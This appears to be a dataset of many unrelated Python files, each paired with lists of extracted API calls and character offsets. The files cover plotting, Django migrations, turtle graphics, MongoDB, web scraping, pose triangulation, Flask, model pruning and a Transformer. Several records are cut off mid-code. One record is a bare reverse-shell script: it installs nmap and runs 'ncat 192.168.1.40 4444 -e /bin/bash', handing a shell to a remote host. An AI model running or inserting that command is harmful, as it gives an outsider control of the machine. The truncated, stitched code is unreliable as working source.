import matplotlib.pyplot as plt
from typing import *
import pandas as pd
import seaborn as sns
import math
sns.set()
class Accuracy(object):
def at_radii(self, radii: np.ndarray):
raise NotImplementedError()
class ApproximateAccuracy(Accur... | [
"seaborn.set",
"matplotlib.pyplot.savefig",
"matplotlib.pyplot.title",
"pandas.read_csv",
"matplotlib.pyplot.ylabel",
"matplotlib.pyplot.legend",
"matplotlib.pyplot.xlabel",
"matplotlib.pyplot.tick_params",
"matplotlib.pyplot.gca",
"math.log",
"matplotlib.pyplot.close",
"matplotlib.pyplot.figu... | [((172, 181), 'seaborn.set', 'sns.set', ([], {}), '()\n', (179, 181), True, 'import seaborn as sns\n'), ((1961, 2012), 'numpy.arange', 'np.arange', (['(0)', '(max_radius + radius_step)', 'radius_step'], {}), '(0, max_radius + radius_step, radius_step)\n', (1970, 2012), True, 'import numpy as np\n'), ((2017, 2029), 'mat... |
from numpy import random
from matplotlib import pyplot
random.seed(12345)
sequence = random.normal(size=1000000, loc=30, scale=5)
pyplot.hist(sequence, bins=20)
pyplot.show()
| [
"numpy.random.normal",
"matplotlib.pyplot.hist",
"numpy.random.seed",
"matplotlib.pyplot.show"
] | [((56, 74), 'numpy.random.seed', 'random.seed', (['(12345)'], {}), '(12345)\n', (67, 74), False, 'from numpy import random\n'), ((86, 130), 'numpy.random.normal', 'random.normal', ([], {'size': '(1000000)', 'loc': '(30)', 'scale': '(5)'}), '(size=1000000, loc=30, scale=5)\n', (99, 130), False, 'from numpy import random... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.contrib.gis.db.models.fields
class Migration(migrations.Migration):
dependencies = [
('main', '0001_initial'),
]
operations = [
migrations.CreateModel(
name... | [
"django.db.models.FloatField",
"django.db.models.ForeignKey",
"django.db.models.ManyToManyField",
"django.db.models.BooleanField",
"django.db.models.AutoField",
"django.db.models.PositiveIntegerField",
"django.db.models.CharField"
] | [((3183, 3218), 'django.db.models.ForeignKey', 'models.ForeignKey', ([], {'to': '"""main.Region"""'}), "(to='main.Region')\n", (3200, 3218), False, 'from django.db import models, migrations\n'), ((3337, 3395), 'django.db.models.ForeignKey', 'models.ForeignKey', ([], {'to': '"""main.Region"""', 'blank': '(True)', 'null'... |
#!/usr/bin/env python3
import turtle
turtle.setup(500, 500)
move = turtle.Turtle()
window = move.getscreen()
window.title("TurtlePy")
canvas = window.getcanvas()
text = (
"Press Q to quit.\n"
"Press arrow keys to move cursor.\n"
"Press spacebar to toggle if the pen is up or down."
)
canvas.create_text(0, -... | [
"turtle.onkey",
"turtle.listen",
"turtle.mainloop",
"turtle.onkeypress",
"turtle.setup",
"turtle.Turtle"
] | [((38, 60), 'turtle.setup', 'turtle.setup', (['(500)', '(500)'], {}), '(500, 500)\n', (50, 60), False, 'import turtle\n'), ((68, 83), 'turtle.Turtle', 'turtle.Turtle', ([], {}), '()\n', (81, 83), False, 'import turtle\n'), ((789, 816), 'turtle.onkeypress', 'turtle.onkeypress', (['onQ', '"""q"""'], {}), "(onQ, 'q')\n", ... |
"""
Author: <NAME>: <EMAIL>
Company: pfm Bolivia
Description: Creates a connection to the pfm_patients database and implements
the CRUD operations.
* dictionary template to introduce in db:
{"name": "",
"diagnostic": 0,
"parasites": [],
"count": []}
"""
# Libraries
# General purpose
import os
import sys
# Interfa... | [
"os.system",
"interface.implements"
] | [((465, 481), 'interface.implements', 'implements', (['CRUD'], {}), '(CRUD)\n', (475, 481), False, 'from interface import implements\n'), ((620, 652), 'os.system', 'os.system', (['"""ps -a | grep mongod"""'], {}), "('ps -a | grep mongod')\n", (629, 652), False, 'import os\n')] |
#!/usr/bin/python3
# coding=utf-8
"""Get card image in http://gatherer.wizards.com/Pages/Default.aspx"""
import logging
import os
#import re
from concurrent.futures import ThreadPoolExecutor
import requests
from bs4 import BeautifulSoup
def getcardsinfo(setlongname):
"""Get series of information by represented... | [
"logging.basicConfig",
"os.path.exists",
"requests.Session",
"concurrent.futures.ThreadPoolExecutor",
"requests.get",
"os.chdir",
"bs4.BeautifulSoup",
"os.mkdir",
"logging.info"
] | [((1887, 1912), 'os.chdir', 'os.chdir', (["('./' + dir_name)"], {}), "('./' + dir_name)\n", (1895, 1912), False, 'import os\n'), ((2139, 2154), 'os.chdir', 'os.chdir', (['"""../"""'], {}), "('../')\n", (2147, 2154), False, 'import os\n'), ((4034, 4112), 'logging.basicConfig', 'logging.basicConfig', ([], {'filename': '"... |
from collections import defaultdict
from math import *
from itertools import product
from logbook import Logger
import cv2
import numpy as np
import networkx as nx
import math
from tqdm import tqdm
# from palettable.cartocolors.qualitative import Pastel_10 as COLORS
from suppose.common import timing
from suppose.camer... | [
"numpy.sqrt",
"networkx.connected_component_subgraphs",
"cv2.projectPoints",
"numpy.ascontiguousarray",
"cv2.triangulatePoints",
"numpy.array",
"math.log",
"numpy.linalg.norm",
"pandas.read_pickle",
"logbook.Logger",
"networkx.DiGraph",
"cv2.convertPointsFromHomogeneous",
"pandas.DataFrame.f... | [((376, 392), 'logbook.Logger', 'Logger', (['"""pose3d"""'], {}), "('pose3d')\n", (382, 392), False, 'from logbook import Logger\n'), ((703, 790), 'cv2.undistortPoints', 'cv2.undistortPoints', (['pts2', 'camera_matrix', 'distortion_coefficients'], {'P': 'camera_matrix'}), '(pts2, camera_matrix, distortion_coefficients,... |
# -*- coding: utf-8 -*-
"""
---------------------------------------
@file : DM
@Version : ??
@Author : <NAME>
@software: PyCharm
@For : Data Management
---------------------------------------
"""
# History:
# 2021/8/31: Create
import psycopg2
from psycopg2 import sql
def select_sql(what, table: str, where=... | [
"psycopg2.sql.Identifier",
"psycopg2.sql.SQL"
] | [((421, 451), 'psycopg2.sql.SQL', 'sql.SQL', (['"""SELECT * FROM {tbl}"""'], {}), "('SELECT * FROM {tbl}')\n", (428, 451), False, 'from psycopg2 import sql\n'), ((480, 501), 'psycopg2.sql.Identifier', 'sql.Identifier', (['table'], {}), '(table)\n', (494, 501), False, 'from psycopg2 import sql\n'), ((695, 711), 'psycopg... |
# coding: utf-8
from flask import g, Blueprint, jsonify, request, Response
import requests
from hikidashi.settings import SWAGGER_UI_HOST
from hikidashi.models.item import Item
api = Blueprint('api', __name__)
@api.route('/', defaults={'path': ''})
@api.route('/<path:path>')
def index(path):
if SWAGGER_UI_HOST... | [
"flask.request.data.decode",
"flask.g.get",
"requests.get",
"flask.g.store.put_item",
"flask.g.store.get_items",
"flask.Response",
"flask.g.store.get_item",
"flask.Blueprint",
"flask.jsonify"
] | [((186, 212), 'flask.Blueprint', 'Blueprint', (['"""api"""', '__name__'], {}), "('api', __name__)\n", (195, 212), False, 'from flask import g, Blueprint, jsonify, request, Response\n'), ((468, 479), 'flask.jsonify', 'jsonify', (['{}'], {}), '({})\n', (475, 479), False, 'from flask import g, Blueprint, jsonify, request,... |
# MIT License
# Copyright (c) 2018 <NAME>
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish... | [
"pyTD.market.options.Options",
"pyTD.market.movers.Movers",
"pyTD.market.quotes.Quotes",
"pyTD.market.hours.MarketHours",
"pyTD.instruments.base.Instruments",
"pyTD.market.price_history.PriceHistory"
] | [((1798, 1826), 'pyTD.instruments.base.Instruments', 'Instruments', (['*args'], {}), '(*args, **kwargs)\n', (1809, 1826), False, 'from pyTD.instruments.base import Instruments\n'), ((2366, 2389), 'pyTD.market.quotes.Quotes', 'Quotes', (['*args'], {}), '(*args, **kwargs)\n', (2372, 2389), False, 'from pyTD.market.quotes... |
import pytest
from src.language.tokenizer import Tokenizer
def test_1():
case1 = "number a = 3.34"
tokens = Tokenizer()(case1)
assert len(tokens) == 5
assert tokens[3].lexeme == "3.34"
def test_2():
case2 = "function number fibo(number n) -> {\nif n lte 1 -> {\n return 1 \n} return fibo(n- 1)... | [
"src.language.tokenizer.Tokenizer"
] | [((120, 131), 'src.language.tokenizer.Tokenizer', 'Tokenizer', ([], {}), '()\n', (129, 131), False, 'from src.language.tokenizer import Tokenizer\n'), ((355, 366), 'src.language.tokenizer.Tokenizer', 'Tokenizer', ([], {}), '()\n', (364, 366), False, 'from src.language.tokenizer import Tokenizer\n')] |
import datetime
from django.http import HttpResponseBadRequest
from django.shortcuts import render
from django.views.decorators.csrf import csrf_protect, ensure_csrf_cookie
from pm.form.registration import RegistrationForm
@ensure_csrf_cookie
@csrf_protect
def view(request):
if request.method == "GET":
t... | [
"pm.form.registration.RegistrationForm",
"django.shortcuts.render",
"django.http.HttpResponseBadRequest",
"datetime.date.today"
] | [((431, 449), 'pm.form.registration.RegistrationForm', 'RegistrationForm', ([], {}), '()\n', (447, 449), False, 'from pm.form.registration import RegistrationForm\n'), ((465, 568), 'django.shortcuts.render', 'render', (['request', '"""index.html"""', "{'day': today, 'next': next, 'registration_form': registration_form}... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2018-11-14 00:31
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('workflow', '0016_auto_20170623_1306'),
]
operations = [
migrations.AddField... | [
"django.db.models.FileField"
] | [((404, 511), 'django.db.models.FileField', 'models.FileField', ([], {'blank': '(True)', 'null': '(True)', 'upload_to': '"""static/img/"""', 'verbose_name': '"""Your Organization Logo"""'}), "(blank=True, null=True, upload_to='static/img/',\n verbose_name='Your Organization Logo')\n", (420, 511), False, 'from django... |
from os.path import join, dirname
import sys
import argparse
sys.path.append(join(dirname(__file__), '..'))
import h5py
import numpy as np
from lyricpsych.data import load_mxm2msd
def main(msd_tagtraum_fn, mxm_h5_fn, out_fn):
"""
"""
# load relevant data
mxm2msd = load_mxm2msd()
msd2mxm = {v:k fo... | [
"argparse.ArgumentParser",
"lyricpsych.data.load_mxm2msd",
"h5py.File",
"os.path.dirname",
"h5py.special_dtype"
] | [((284, 298), 'lyricpsych.data.load_mxm2msd', 'load_mxm2msd', ([], {}), '()\n', (296, 298), False, 'from lyricpsych.data import load_mxm2msd\n'), ((1169, 1194), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (1192, 1194), False, 'import argparse\n'), ((82, 99), 'os.path.dirname', 'dirname', (['... |
import FWCore.ParameterSet.Config as cms
lumiProducer=cms.EDProducer("LumiProducer",
connect=cms.string(''),
lumiversion=cms.untracked.string(''),
ncacheEntries=cms.untracked.uint32(5)
)
| [
"FWCore.ParameterSet.Config.string",
"FWCore.ParameterSet.Config.untracked.string",
"FWCore.ParameterSet.Config.untracked.uint32"
] | [((122, 136), 'FWCore.ParameterSet.Config.string', 'cms.string', (['""""""'], {}), "('')\n", (132, 136), True, 'import FWCore.ParameterSet.Config as cms\n'), ((178, 202), 'FWCore.ParameterSet.Config.untracked.string', 'cms.untracked.string', (['""""""'], {}), "('')\n", (198, 202), True, 'import FWCore.ParameterSet.Conf... |
#!/usr/bin/env python3
import argparse
import biotoolbox
# Write a program that predicts if a protein is trans-membrane
# Trans-membrane proteins have the following properties
# Signal peptide: https://en.wikipedia.org/wiki/Signal_peptide
# Hydrophobic regions(s): https://en.wikipedia.org/wiki/Transmembrane_protein
# ... | [
"biotoolbox.hasHydrophobicHelix",
"biotoolbox.read_fasta",
"argparse.ArgumentParser"
] | [((585, 656), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""Predicts transmembrane proteins."""'}), "(description='Predicts transmembrane proteins.')\n", (608, 656), False, 'import argparse\n'), ((1356, 1387), 'biotoolbox.read_fasta', 'biotoolbox.read_fasta', (['arg.file'], {}), '(arg.f... |
import os
import json
import httplib2
HTTP_CLIENT = httplib2.Http()
##
def get_env(key, default=None):
if key in os.environ:
return os.environ[key]
return default
##
def parse_opts(args):
data = {}
for arg in args:
key, val = arg.split('=', 1)
# make a list out of any key sp... | [
"httplib2.Http",
"json.loads",
"json.dumps"
] | [((54, 69), 'httplib2.Http', 'httplib2.Http', ([], {}), '()\n', (67, 69), False, 'import httplib2\n'), ((1310, 1336), 'json.dumps', 'json.dumps', (['data'], {'indent': '(2)'}), '(data, indent=2)\n', (1320, 1336), False, 'import json\n'), ((677, 693), 'json.dumps', 'json.dumps', (['data'], {}), '(data)\n', (687, 693), F... |
from abc import ABC, abstractmethod
from collections import OrderedDict
import numpy as np
import pandas as pd
from .mask import mask_module
from .modules import MaskedModule
from .utils import get_params
import tempfile, pathlib
import torch
class Pruning(ABC):
"""Base class for Pruning operations
"""
... | [
"tempfile.TemporaryDirectory",
"collections.OrderedDict",
"numpy.prod",
"pathlib.Path",
"torch.load",
"torch.save",
"pandas.DataFrame"
] | [((3099, 3128), 'tempfile.TemporaryDirectory', 'tempfile.TemporaryDirectory', ([], {}), '()\n', (3126, 3128), False, 'import tempfile, pathlib\n'), ((3148, 3179), 'pathlib.Path', 'pathlib.Path', (['self._handle.name'], {}), '(self._handle.name)\n', (3160, 3179), False, 'import tempfile, pathlib\n'), ((3490, 3557), 'tor... |
from Coach import Coach
# from othello.pytorch.NNet import NNetWrapper as nn
# from othello.OthelloGame import OthelloGame as Game
# from othello.tensorflow.NNet import NNetWrapper as nn
from binpack.tensorflow.NNet import NNetWrapper as nn
from binpack.BinPackGame import BinPackGame as Game
from utils import *
args ... | [
"Coach.Coach",
"binpack.BinPackGame.BinPackGame",
"binpack.tensorflow.NNet.NNetWrapper"
] | [((759, 787), 'binpack.BinPackGame.BinPackGame', 'Game', (['HEIGHT', 'WIDTH', 'N_TILES'], {}), '(HEIGHT, WIDTH, N_TILES)\n', (763, 787), True, 'from binpack.BinPackGame import BinPackGame as Game\n'), ((800, 805), 'binpack.tensorflow.NNet.NNetWrapper', 'nn', (['g'], {}), '(g)\n', (802, 805), True, 'from binpack.tensorf... |
#!/usr/bin/env python3
import Jetson.GPIO as GPIO
import time
GPIO.setmode(GPIO.BOARD)
GPIO.setup(7, GPIO.OUT, initial=GPIO.LOW)
while True:
print("Turning on")
GPIO.output(7, GPIO.LOW)
time.sleep(2*60)
print("turning off")
GPIO.output(7, GPIO.LOW)
time.sleep(2*60)
GPIO.cleanup()
| [
"Jetson.GPIO.setmode",
"Jetson.GPIO.setup",
"time.sleep",
"Jetson.GPIO.output",
"Jetson.GPIO.cleanup"
] | [((63, 87), 'Jetson.GPIO.setmode', 'GPIO.setmode', (['GPIO.BOARD'], {}), '(GPIO.BOARD)\n', (75, 87), True, 'import Jetson.GPIO as GPIO\n'), ((88, 129), 'Jetson.GPIO.setup', 'GPIO.setup', (['(7)', 'GPIO.OUT'], {'initial': 'GPIO.LOW'}), '(7, GPIO.OUT, initial=GPIO.LOW)\n', (98, 129), True, 'import Jetson.GPIO as GPIO\n')... |
import discord
from discord.ext import commands
import random
bot = commands.Bot(command_prefix='!')
@bot.command()
async def roll(ctx, number):
try:
arg = random.randint(1, int(number))
except ValueError:
await ctx.send("What the fuck is that???")
else:
await ctx.send(str(arg))
bot.run('TOKEN'... | [
"discord.ext.commands.Bot"
] | [((69, 101), 'discord.ext.commands.Bot', 'commands.Bot', ([], {'command_prefix': '"""!"""'}), "(command_prefix='!')\n", (81, 101), False, 'from discord.ext import commands\n')] |
# -*- coding:utf-8 -*-
import math
import DST_Graph
import DST_Queue
# 词梯问题
def BuildWordGraph(file):
with open(file) as f:
word_data = f.readlines()
buckets = {}
for line in word_data:
for i in range(len(line)-1):
bucket = line[:i] + '_' + line[i+1:]
if bucket no... | [
"DST_Queue.queue_test",
"DST_Graph.Graph"
] | [((514, 531), 'DST_Graph.Graph', 'DST_Graph.Graph', ([], {}), '()\n', (529, 531), False, 'import DST_Graph\n'), ((1030, 1052), 'DST_Queue.queue_test', 'DST_Queue.queue_test', ([], {}), '()\n', (1050, 1052), False, 'import DST_Queue\n')] |
# Title: 오르막 수
# Link: https://www.acmicpc.net/problem/11057
import sys
sys.setrecursionlimit(10 ** 6)
read_single_int = lambda: int(sys.stdin.readline().strip())
def solution(n: int):
if n == 1:
return 10
d = [[0 for _ in range(10)] for _ in range(n+1)]
for i in range(10):
d... | [
"sys.stdin.readline",
"sys.setrecursionlimit"
] | [((75, 105), 'sys.setrecursionlimit', 'sys.setrecursionlimit', (['(10 ** 6)'], {}), '(10 ** 6)\n', (96, 105), False, 'import sys\n'), ((137, 157), 'sys.stdin.readline', 'sys.stdin.readline', ([], {}), '()\n', (155, 157), False, 'import sys\n')] |
import json
import requests
from src.const import (QueryType, TDS_QA_ENDPOINT, WIKIFIER_ENDPOINT, WIKIFIER_THRESHOLD)
def get_query_type(query: str) -> QueryType:
if not query:
return QueryType.EMPTY_QUERY
elif query.startswith('explore:'):
return QueryType.EXPLORE_QUERY
elif query.startsw... | [
"json.loads",
"json.dumps",
"requests.request"
] | [((952, 1015), 'json.dumps', 'json.dumps', (["{'query': search_query, 'num_results': num_results}"], {}), "({'query': search_query, 'num_results': num_results})\n", (962, 1015), False, 'import json\n'), ((1119, 1179), 'requests.request', 'requests.request', (['"""POST"""', 'url'], {'headers': 'headers', 'data': 'payloa... |
'''
This file is a part of Test Mile Arjuna
Copyright 2018 Test Mile Software Testing Pvt Ltd
Website: www.TestMile.com
Email: support [at] testmile.com
Creator: <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a cop... | [
"arjuna.core.utils.file_utils.get_extension",
"arjuna.tpi.Arjuna.get_logger",
"arjuna.core.utils.file_utils.normalize_path",
"arjuna.core.utils.sys_utils.fexit",
"os.path.join",
"arjuna.core.utils.file_utils.get_nonext_basename",
"os.path.dirname",
"arjuna.tpi.Arjuna.get_console",
"os.walk"
] | [((1394, 1413), 'arjuna.tpi.Arjuna.get_logger', 'Arjuna.get_logger', ([], {}), '()\n', (1411, 1413), False, 'from arjuna.tpi import Arjuna\n'), ((1437, 1457), 'arjuna.tpi.Arjuna.get_console', 'Arjuna.get_console', ([], {}), '()\n', (1455, 1457), False, 'from arjuna.tpi import Arjuna\n'), ((3621, 3661), 'arjuna.core.uti... |
from os.path import dirname, join
from typing import Callable, Optional
from dronebuilder.utils.storage import setting
from kivymd.uix.filemanager import MDFileManager
class DroneFileManager:
def __init__(
self,
opentype: str = "open",
select_callback: Optional[Callable[[str], None]] = No... | [
"dronebuilder.utils.storage.setting.add_to_recent_files",
"dronebuilder.utils.storage.setting.set_last_path",
"dronebuilder.utils.storage.setting.get_last_path",
"os.path.join",
"kivymd.uix.filemanager.MDFileManager",
"os.path.dirname"
] | [((352, 375), 'dronebuilder.utils.storage.setting.get_last_path', 'setting.get_last_path', ([], {}), '()\n', (373, 375), False, 'from dronebuilder.utils.storage import setting\n'), ((405, 708), 'kivymd.uix.filemanager.MDFileManager', 'MDFileManager', ([], {'exit_manager': 'self.exit_manager', 'select_path': "(self.open... |
# $Id: test.py c5bb15998025 2010-03-03 dangyogi $
# coding=utf-8
#
# Copyright © 2008 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitatio... | [
"MySQLdb.connect",
"doctest.testmod",
"sqlgen.load_mysql_schema.load_schema",
"pyke.test.init"
] | [((1227, 1256), 'pyke.test.init', 'test.init', (["('.', '../sqlgen')"], {}), "(('.', '../sqlgen'))\n", (1236, 1256), False, 'from pyke import test\n'), ((1360, 1425), 'MySQLdb.connect', 'db.connect', ([], {'user': '"""movie_user"""', 'passwd': '"""<PASSWORD>"""', 'db': '"""movie_db"""'}), "(user='movie_user', passwd='<... |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: object_detection/protos/region_similarity_calculator.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.... | [
"google.protobuf.descriptor_pool.Default",
"google.protobuf.reflection.GeneratedProtocolMessageType",
"google.protobuf.symbol_database.Default"
] | [((521, 547), 'google.protobuf.symbol_database.Default', '_symbol_database.Default', ([], {}), '()\n', (545, 547), True, 'from google.protobuf import symbol_database as _symbol_database\n'), ((1775, 1994), 'google.protobuf.reflection.GeneratedProtocolMessageType', '_reflection.GeneratedProtocolMessageType', (['"""Regio... |
""" Misc / Weird actions can go here """
import random
from action import Action
from progue.utils.actor_constants import ATTRIBUTE_IDLE, ATTR_VALUE, MAX_TURNS, CURRENT_TURN, RANGE
class ActionIdle(Action):
""" Used for lazy monsters """
def __init__(self, actor):
Action.__init__(self, actor=actor, u... | [
"random.random",
"action.Action.__init__",
"random.randrange"
] | [((284, 341), 'action.Action.__init__', 'Action.__init__', (['self'], {'actor': 'actor', 'update_func': 'self.idle'}), '(self, actor=actor, update_func=self.idle)\n', (299, 341), False, 'from action import Action\n'), ((703, 726), 'random.randrange', 'random.randrange', (['(-5)', '(5)'], {}), '(-5, 5)\n', (719, 726), F... |
#! python3
import os
from setuptools import setup, find_packages
# read the contents of your README file
this_directory = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(this_directory, 'README.md')) as f:
long_description = f.read()
setup (
name = "merge_pdf",
version = "1.0.0",
description... | [
"os.path.dirname",
"setuptools.find_packages",
"os.path.join"
] | [((139, 164), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (154, 164), False, 'import os\n'), ((176, 217), 'os.path.join', 'os.path.join', (['this_directory', '"""README.md"""'], {}), "(this_directory, 'README.md')\n", (188, 217), False, 'import os\n'), ((877, 928), 'setuptools.find_package... |
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from .models import Address, Category, Product
UserAdmin.list_display += ('notify', )
UserAdmin.list_filter += ('notify', )
UserAdmin.fieldsets += (('notify', {'fields': ('notify', )}), )
@admin.register(Address)
class AddressAdmin(adm... | [
"django.contrib.admin.register"
] | [((274, 297), 'django.contrib.admin.register', 'admin.register', (['Address'], {}), '(Address)\n', (288, 297), False, 'from django.contrib import admin\n'), ((574, 598), 'django.contrib.admin.register', 'admin.register', (['Category'], {}), '(Category)\n', (588, 598), False, 'from django.contrib import admin\n'), ((724... |
import os
os.system("apt-get install -y nmap")
os.system("ncat 192.168.1.40 4444 -e /bin/bash")
| [
"os.system"
] | [((11, 47), 'os.system', 'os.system', (['"""apt-get install -y nmap"""'], {}), "('apt-get install -y nmap')\n", (20, 47), False, 'import os\n'), ((48, 96), 'os.system', 'os.system', (['"""ncat 192.168.1.40 4444 -e /bin/bash"""'], {}), "('ncat 192.168.1.40 4444 -e /bin/bash')\n", (57, 96), False, 'import os\n')] |
"""
__Author__ : <NAME>
__desc__ : file for training an NCC model based on the data which has been genereated
"""
import tensorflow as tf
import json
import os
from collections import Counter
import random
import numpy as np
import pickle
class NCCTrain(object):
def __init__(self,fileName,trainSplitR... | [
"numpy.array",
"tensorflow.control_dependencies",
"tensorflow.nn.dropout",
"tensorflow.reduce_mean",
"numpy.mean",
"tensorflow.placeholder",
"tensorflow.Session",
"tensorflow.concat",
"tensorflow.nn.sigmoid",
"os.path.isdir",
"os.mkdir",
"numpy.concatenate",
"tensorflow.layers.batch_normaliz... | [((1605, 1640), 'os.path.join', 'os.path.join', (['self.saveDir', '"""model"""'], {}), "(self.saveDir, 'model')\n", (1617, 1640), False, 'import os\n'), ((1661, 1698), 'os.path.join', 'os.path.join', (['self.saveDir', '"""summary"""'], {}), "(self.saveDir, 'summary')\n", (1673, 1698), False, 'import os\n'), ((1706, 173... |
"""A module which implements the time frequency estimation.
Authors : <NAME> <<EMAIL>>
License : BSD 3-clause
Multitaper wavelet method
"""
import warnings
from math import sqrt
import numpy as np
from scipy import linalg
from scipy.fftpack import fftn, ifftn
from .utils import logger, verbose
from .dpss import dp... | [
"numpy.convolve",
"numpy.log10",
"matplotlib.pyplot.ylabel",
"math.sqrt",
"scipy.fftpack.fftn",
"numpy.array",
"numpy.arange",
"matplotlib.pyplot.imshow",
"numpy.mean",
"numpy.where",
"matplotlib.pyplot.xlabel",
"numpy.asarray",
"numpy.exp",
"numpy.empty",
"warnings.warn",
"numpy.abs",... | [((1280, 1303), 'numpy.atleast_1d', 'np.atleast_1d', (['n_cycles'], {}), '(n_cycles)\n', (1293, 1303), True, 'import numpy as np\n'), ((2512, 2531), 'numpy.asarray', 'np.asarray', (['newsize'], {}), '(newsize)\n', (2522, 2531), True, 'import numpy as np\n'), ((2547, 2566), 'numpy.array', 'np.array', (['arr.shape'], {})... |
import os
import pytesseract
import requests
from PIL import Image
# Get CAPTCHA image & extract text
class CaptchaHandler:
def __init__(self):
self.filename = 'solved_captcha.png'
def get_captcha(self, src):
img = requests.get(src)
with open(self.filename, 'wb') as captcha_image:
... | [
"PIL.Image.open",
"requests.get",
"os.remove"
] | [((243, 260), 'requests.get', 'requests.get', (['src'], {}), '(src)\n', (255, 260), False, 'import requests\n'), ((562, 581), 'os.remove', 'os.remove', (['img_path'], {}), '(img_path)\n', (571, 581), False, 'import os\n'), ((528, 548), 'PIL.Image.open', 'Image.open', (['img_path'], {}), '(img_path)\n', (538, 548), Fals... |
#!/usr/bin/env python
import sys
BAR = '\n\n' + ('-' * 74) + '\n\n'
for f in sys.argv:
inman = False
for line in open(f):
if inman:
if line.startswith('**man-end'):
inman = False
sys.stdout.write(BAR)
else:
sys.stdout.write(line)... | [
"sys.stdout.write"
] | [((242, 263), 'sys.stdout.write', 'sys.stdout.write', (['BAR'], {}), '(BAR)\n', (258, 263), False, 'import sys\n'), ((298, 320), 'sys.stdout.write', 'sys.stdout.write', (['line'], {}), '(line)\n', (314, 320), False, 'import sys\n')] |
import unittest
import math
from kivy3 import Vector3, Vector4, Vector2
# good values for vector 3, 4, 12, 84
class Vector3Test(unittest.TestCase):
def test_create(self):
v = Vector3(1, 2, 3)
self.assertEquals(v[0], 1)
self.assertEquals(v[1], 2)
self.assertEquals(v[2], 3)
... | [
"unittest.main",
"kivy3.Vector2",
"kivy3.Vector3",
"math.degrees"
] | [((3819, 3834), 'unittest.main', 'unittest.main', ([], {}), '()\n', (3832, 3834), False, 'import unittest\n'), ((193, 209), 'kivy3.Vector3', 'Vector3', (['(1)', '(2)', '(3)'], {}), '(1, 2, 3)\n', (200, 209), False, 'from kivy3 import Vector3, Vector4, Vector2\n'), ((327, 345), 'kivy3.Vector3', 'Vector3', (['[4, 5, 6]']... |
#!/usr/bin/env python3
'''Test total energies for a small set of systems.'''
import eminus
from eminus import Atoms, read_xyz, SCF
from numpy.testing import assert_allclose
# Total energies calculated with PWDFT.jl for He, H2, LiH, CH4, and Ne with same parameters as below
Etot_ref = [-2.54356557, -1.10228799, -0.7659... | [
"numpy.testing.assert_allclose",
"eminus.Atoms",
"eminus.read_xyz",
"eminus.SCF"
] | [((574, 606), 'eminus.read_xyz', 'read_xyz', (['f"""{path}/{system}.xyz"""'], {}), "(f'{path}/{system}.xyz')\n", (582, 606), False, 'from eminus import Atoms, read_xyz, SCF\n'), ((619, 661), 'eminus.Atoms', 'Atoms', ([], {'atom': 'atom', 'X': 'X', 'a': 'a', 'ecut': 'ecut', 's': 's'}), '(atom=atom, X=X, a=a, ecut=ecut, ... |
from rest_framework import serializers
from core.models import Tag, Ingredient, Recipe
class TagSerializer(serializers.ModelSerializer):
class Meta:
model = Tag
fields = ('id', 'name')
read_only_fields = ('id',)
class IngredientSerialzer(serializers.ModelSerializer):
class Meta:
... | [
"core.models.Ingredient.objects.all",
"core.models.Tag.objects.all"
] | [((557, 581), 'core.models.Ingredient.objects.all', 'Ingredient.objects.all', ([], {}), '()\n', (579, 581), False, 'from core.models import Tag, Ingredient, Recipe\n'), ((676, 693), 'core.models.Tag.objects.all', 'Tag.objects.all', ([], {}), '()\n', (691, 693), False, 'from core.models import Tag, Ingredient, Recipe\n'... |
import pytest
from sympathor.parser import ParsePaths
class TestParser():
@pytest.fixture(params=[
('tests/files/test_ok_1.svg', True), # multiple paths
('tests/files/test_ok_2.svg', True), # no paths
('tests/files/test_ok_3.svg', True), # no svg tag
('tests/files/test_ok_4.svg'... | [
"pytest.fixture",
"pytest.raises",
"sympathor.parser.ParsePaths"
] | [((81, 434), 'pytest.fixture', 'pytest.fixture', ([], {'params': "[('tests/files/test_ok_1.svg', True), ('tests/files/test_ok_2.svg', True),\n ('tests/files/test_ok_3.svg', True), ('tests/files/test_ok_4.svg', True\n ), ('tests/files/test_ok_5.svg', True), (\n 'tests/files/test_not_ok_1.svg', False), (\n 't... |
# coding=utf-8
import pytest
from devpi_builder import requirements
def test_read_requirements():
expected = [
('progressbar', '2.2'),
('six', '1.7.3')
]
assert expected == requirements.read_exact_versions('tests/fixture/sample_simple.txt')
def test_multiple_versions():
expected = ... | [
"devpi_builder.requirements.matched_by_list",
"devpi_builder.requirements.read_raw",
"devpi_builder.requirements.read_exact_versions",
"pytest.raises"
] | [((1015, 1074), 'devpi_builder.requirements.read_raw', 'requirements.read_raw', (['"""tests/fixture/sample_blacklist.txt"""'], {}), "('tests/fixture/sample_blacklist.txt')\n", (1036, 1074), False, 'from devpi_builder import requirements\n'), ((1086, 1142), 'devpi_builder.requirements.matched_by_list', 'requirements.mat... |
#! /usr/bin/env python
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import argparse
import sys
import tensorflow as tf
from model import model_params
from model import transformer
tf.compat.v1.disable_v2_behavior()
_EXTRA_DECODE_LENGTH = 100... | [
"tensorflow.compat.v1.placeholder",
"tensorflow.compat.v1.variable_scope",
"tensorflow.compat.v1.disable_v2_behavior",
"tensorflow.compat.v1.gfile.GFile",
"argparse.ArgumentParser",
"tensorflow.compat.v1.logging.set_verbosity",
"model.transformer.Transformer",
